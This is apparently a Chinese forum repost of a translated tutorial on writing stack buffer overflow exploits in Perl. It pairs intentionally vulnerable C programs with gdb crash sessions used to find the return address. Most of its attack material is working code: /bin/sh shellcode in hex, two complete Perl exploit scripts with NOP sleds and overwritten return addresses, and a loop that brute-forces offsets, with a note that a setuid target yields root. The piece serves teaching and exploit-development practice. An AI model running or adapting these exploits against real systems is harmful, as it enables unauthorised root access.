[转载]用perl写缓冲区溢出程序
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])用perl写缓冲区溢出程序
[email]teleh0r@doglover.com[/email]> - [url]http://teleh0r.cjb.net/[/url]
翻译整理:爱加冰
看到最近很多exploit都是perl写的,包括webdavx.pl,翻译了这个不错的文章,附上自己的一些心得体会和自己测试的结果,文章中提到的一些资源链接也都是很有价值的参考资料。为了让对缓冲区溢出不熟悉的朋友,我自己加了一些说明补充。如果有错误和不足,欢迎指出。为了节约篇幅和避免骗稿费之嫌,一些无用的信息我做了删除,比如gdb运行的开始信息等等。写这篇文章也得到了朋友们的帮助,在这里表示我真诚的谢意。
这篇文章是为那些想练习写exploit的人而写.和标题所说的一样,这篇文章教你怎么用perl写这些exploit。如果你想要一个更深入的教程,请看这篇文章后面的链接。
好,是举个例子的时候了。我写了一个能用缓冲区溢出exploit的小程序.在%KIDVULN入栈前strcpy()没有检查它的程度,因此使下面这个程序能被exploit。
#vulln.c
#include <stdio.h>
int main() {
char kidbuffer[1024];
/*getenv返回一个指针,它指向name = value字符串中的value*/
if (getenv("KIDVULN") == NULL) {
fprintf(stderr, "Grow up!\n");
exit(1);
}
/* 把环境变量的数值拷贝到kidbuffer这个缓冲区中 */
strcpy(kidbuffer, (char *)getenv("KIDVULN"));
printf("Environment variable KIDVULN is:\n\"%s\".\n\n", kidbuffer);
printf("Isn't life wonderful in kindergarten?\n");
return 0;
}
[root@localhost teleh0r]# gcc -o vuln vuln.c
vuln.c: In function `main':
vuln.c:5: warning: comparison between pointer and integer
[root@localhost teleh0r]# export KIDVULN=`perl -e '{print "A"x"1028"}'`
[root@localhost teleh0r]# gdb vuln
(gdb) r
Starting program: /home/teleh0r/vuln
Environment variable KIDVULN is:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA省略….
Isn't life wonderful in kindergarten?
Program received signal SIGSEGV, Segmentation fault.
0x40032902 in __libc_start_main (main=Cannot access memory at address 0x41414149
) at ../sysdeps/generic/libc-start.c:6161../sysdeps/generic/libc-start.c: No such file or directory
ok,这里我们能看到我们的buffer size 还不是足够的大。当它完成后,栈指针将会被覆盖并且EIP寄存器将会是0x41414141。(41 == A in hex.)
[root@localhost teleh0r]# export KIDVULN=`perl -e '{print "A"x"1032"}'`
[root@localhost teleh0r]# gdb vuln
(gdb) r
Starting program: /home/teleh0r/vuln
Environment variable KIDVULN is:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA省略
Isn't life wonderful in kindergarten?
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
现在,我们完全覆盖的老的返回地址,我们现在能看到它变成了4个A.那么这个意味着什么了?好的,这个意味着我们能控制EIP指向那里,因此,我们能让EIP指向我们的payload.如果成功了我们自己的代码就可以在栈里面执行了。(有些操作系统/补丁也许会禁止代码在栈里面执行)现在我们知道了我们将要使用的完全覆盖返回地址的长度。当程序执行完的时候,ESP指向栈顶,我们能使用用ESP的值,如果需要的话还要加上偏移量。这是怎么去得到栈指针值的方法。下面就是得到堆栈指针的方法,在exploit里面会用到他的。
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg esp
esp 0xbffff770 -1073744064
(gdb)
如果你想学习怎么写你自己的shellcode,请看看这个文章最后给的那些链接.如果你很懒的话,或者你用perl编写你的代码,你需要使用一些能自动生成shellcode的工具.Hellkit and execve-shell是类似工具的杰出代表。(你能在[url]http://teso.scene.at[/url]找到这些工具)
[root@localhost execve-shell]# ./shellxp /bin/sh
build exploit shellcode
-scut / teso.
constructing shellcode...
[ 39/2048] adding ( 7): /bin/sh
shellcode size: 47 bytes
/* 47 byte shellcode */
"\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07"
"\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b"
"\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff"
"\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x01";
The payload 和将要用来exploitation的数据都储存在$buffer标量中(perl的数据类型).它需要具有完全覆盖老的返回地址的长度。我们将要插入这些代码到我们的目标程序中(用户输入)用来改变它的溢出。The payload 大部分都是这个样子的:
N = NOP (0x90) / S = Shellcode / R = ESP (+ offset).
Buffer: [ NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNSSSSSSSRRRRRRRRRRRRRR ]
我们这样构造buffer区有几个原因.首先是NOPS,然后是shellcode(这个例子将会执行/bin/sh),最后是ESP+offset值。EIP将会被调入,它的值就是ESP指向的地址.所以如果ESP指向任何一个包含NOPS的地方,NOPS将会"什么都不做",并且继续直到shellcode的地址并且开始执行shellcode.(看下面的描述)
_______________________________________________
<---- |[ NNNNNNNNNNNNNNNNNNNNNNNNNNN-SHELLCODE-RRRRRRR ]| <----
\_________________________/ ----> # ^
^ |
|________________________________|
如果我们尝试去溢出的缓冲区太小了而不能加入一定数量的NOP'S,shellcode 和RET's,当构造payload的时候,下面的布局可以使用(我们能把NOP's和shellcode加入到shell变量中。
(R = Stack Pointer + Offset / S = Shellcode / N = x86 NOP)
/ ESP + offset / NOP's / Shellcode
Payload: [ RRRRRRRRRRRRRRRNNNNNNNNNNNNNNNNNNSSSSSS ]
| | ----------> #
----------
(注意:缓冲区不能包含任何空字节)
解释exploit示例
#!/usr/bin/perl
$shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
"\xff\xff/bin/sh";
$len = 1024 + 8; # The length needed to own EIP.
$ret = 0xbffff770; # The stack pointer at crash time.
$nop = "\x90"; # x86 NOP
$offset = -1000; # Default offset to try.
if (@ARGV == 1) {
$offset = $ARGV[0];
}
for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
# [ Buffer: NNNNNNNNNNNNNN ]
# 加入大量的x86 NOP's到buffer标量. (885 NOP's)
$buffer .= $shellcode;
# [ Buffer: NNNNNNNNNNNNNNSSSSS ]
# 然后我们把shellcode加入到buffer区中。
print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
# 这里我们添加一个偏移量到栈指针离 - 把它转化为16进制,并且打印出来。
$new_ret = pack('l', ($ret + $offset));
# pack是一个能得到一个值的列表并且打包成2进制的结构,并且返回包含此结
# 构的值的函数,这里把栈指针/ESP+offset转换成singed long(有符号长整形)-(4 bytes)
for ($i += length($shellcode); $i < $len; $i += 4) {
$buffer .= $new_ret;
}
# [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ]
# 在第一次循环结束后,增加shellcode的长度到标量$i,在这里$i以前的长度是"885"(字节)
#然后循环增加$new_ret标量知道$buffer有1032字节的长度。
#也能象下面这么写:
# until (length($buffer) == $len) {
# $buffer .= $new_ret;
#}
local($ENV{'KIDVULN'}) = $buffer; exec("/bin/vuln");
# 把这个拷贝到环境变量KIDVNLN,并且执行vuln。
这里有个程序,为节约版面我删除了,和教学关系不大。
文章到这里就完了,下面是我的一些测试和心得体会。看了很多关于写堆栈溢出exploit的文章,心里大概也有些概念了,首先在这里要对中外得一些前辈们表示感谢,是他们精彩的文章使写exploit不是那么神秘了。现在随便找个漏洞程序练练手吧。
#q.c(这个好像是viturlcat的例子)
#include <stdio.h>
void vulFunc(char* s)
{
char buf[10];
strcpy(buf, s);
printf("String=%s\n", buf);
}
main(int argc, char* argv[])
{
if(argc == 2)
{
vulFunc(argv[1]);
}
else
{
printf("Usage: %s <A string>\n", argv[0]);
}
}
缓冲区很小,于是我这样构建我的egg。
RRRRRRRRRRRRRRRRRNNNNNNNNNNNSSSSSSSSS
代码如下:
2exploit.p
#!/usr/bin/perl -w
my $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
my $NOP = "\x90";
my $offset = shift || -500;
my $len = 32;
my $egg =1000;
my $ret = 0xbfffdca0;
my $new_ret =pack('l',($ret + $offset));
for ($i = 0; $i<$len; $i+=4)
{
$buffer .= $new_ret;
}
for ($i = 0;$i<($egg - length($shellcode)-100);$i++)
{
$buffer .= $NOP;
}
$buffer .=$shellcode;
system('./q', "$buffer");
可以用下面这个程序暴力搜索offset:
#!/usr/bin/perl
for($i=-500;$i<100;$i++) {
print("trying offset: $i\n");
system("ulimit -c 0;./2exploit.pl $i");
}
程序如果是setid的可以得到root.
一些要注意的地方:
1.缓冲区很大的时候其实也可以用缓冲区很小的那种构造方式就是RRRRRRRRRRRRRRRRRNNNNNNNNNNNSSSSSSSSS,但是这样的话显的很浪费,不是吗?我们都希望自己的代码是短小精干的,呵呵。不同的系统环境给同样的程序分配的缓冲区也许不同,举个例子吧。
2.对于Smashing The Stack For Fun And Profi中的一个例子
example.c
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
反汇编出来的结果如果按照他的分析应该是这样的:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
(我们必须记住:内存只能以字为单位寻址. 在这里一个字是4个字节, 32位. 因此5字节的缓冲区会占用8个字节(2个字)的内存空间, 而10个字节的缓冲区会占用12个字节(3个字)的内存空间. 这就是为什么SP要减掉20的原因)但是在我的redhat 9.0上面反汇编的结果是
pushl %ebp
movl %esp, %ebp
subl $40, %esp
所以你必须手动测试到底分配了多少字节的缓冲区。这里我建议大家看看黑猫的那篇exploit教程。里面的二分法是很快可以测试出结果的。这里就不重复了。
这是一个用perl写exploit的教程不是如何去写exploit的教程。
页:
[1]